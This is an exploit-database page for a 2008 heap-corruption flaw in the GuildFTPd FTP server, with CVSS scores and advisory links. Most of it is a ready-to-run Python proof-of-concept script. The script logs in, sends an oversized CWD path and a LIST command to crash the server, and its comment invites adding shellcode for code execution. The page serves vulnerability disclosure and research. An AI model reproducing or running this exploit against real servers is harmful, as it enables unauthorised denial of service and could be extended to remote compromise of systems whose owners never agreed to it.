GuildFTPd 0.999.8.11/0.999.14 Heap Corruption PoC/DoS Exploit

2008-10-18 / 2008-10-19
Credit: anon
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# GuildFTPd v0.999.8.11/v0.999.14 heap corruption PoC/DoS exploit # GuildFTPd URL - http://www.guildftpd.com # cwd/list heap corruption # overwrite registers in free(): ecx, edi # # (x)dmnt 2008 # feel free to do shellcode # -*- coding: windows-1252 -*- import socket import sys, time evil_cwd = "/."*124 evil_dir = "X"*100 def help_info(): print ("Usage: guildd0s <host> <login> <password>\n") print ("Note: anonymous is enought\n") def dos_it(hostname, username, passwd): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((hostname, 21)) except: print ("[-] Connection error!") sys.exit(1) r=sock.recv(1024) print "[+] " + r sock.send("user %s\n" %username) r=sock.recv(1024) sock.send("pass %s\n" %passwd) r=sock.recv(1024) print "[+] Send evil string" sock.send("cwd %s\n" %evil_cwd) r=sock.recv(1024) sock.send("list %s\r\n" %evil_dir) time.sleep(3) sock.close() print "[!] Now server d0s'ed/heap corrupted" print ("\n]GuildFTPd v0.999.8.11/v0.999.14 remote heap corruption PoC/DoS exploit[") print ("](x)dmnt 2008[\n\n") if len(sys.argv) <> 4: help_info() sys.exit(1) else: hostname=sys.argv[1] username=sys.argv[2] passwd=sys.argv[3] dos_it(hostname,username,passwd) sys.exit(0)

References:

http://www.securityfocus.com/bid/31729
http://www.milw0rm.com/exploits/6738
http://www.frsirt.com/english/advisories/2008/2794
http://secunia.com/advisories/32218


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top